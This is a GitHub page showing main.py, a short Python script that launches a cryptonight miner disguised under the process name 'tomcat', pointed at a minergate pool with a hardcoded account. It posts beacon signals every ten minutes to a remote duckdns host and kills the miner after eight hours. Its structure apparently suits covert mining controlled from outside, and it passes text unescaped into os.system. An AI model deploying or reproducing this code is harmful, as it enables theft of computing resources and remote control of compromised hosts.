-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
58 lines (43 loc) · 1.42 KB
/
Copy pathmain.py
File metadata and controls
58 lines (43 loc) · 1.42 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import os, requests, datetime, threading
from time import sleep
def os_print(text):
os.system('echo {text}'.format(text=text))
def send_signal(is_beacon=False):
with open('id', 'r') as f:
worker_name = f.read()
if is_beacon:
url = 'http://anthill.duckdns.org:1786/cms/beacon/'
else:
url = 'http://anthill.duckdns.org:1786/cms/'
try:
requests.post(url, {'worker': worker_name})
except:
pass
class WatchDog():
def __init__(self, interval):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.start()
def run(self):
sleep(self.interval)
os_print('WatchDog - {dt}'.format(dt=datetime.datetime.now()))
os.system('killall tomcat')
send_signal(is_beacon=False)
class Beacon():
def __init__(self, interval):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.start()
def run(self):
for i in range(0, 47):
os_print('{dt}'.format(dt=datetime.datetime.now()))
send_signal(is_beacon=True)
sleep(self.interval)
def main():
Beacon(60*10) # 10 min
WatchDog(60*60*8) #8 h
os.system('./tomcat -a cryptonight -o stratum+tcp://bcn.pool.minergate.com:45550 -u khu12@asia.com -p x -t 1')
os_print('FINISH!!!')
if __name__ == '__main__':
main()
#2017-11-14 12:12:14.071782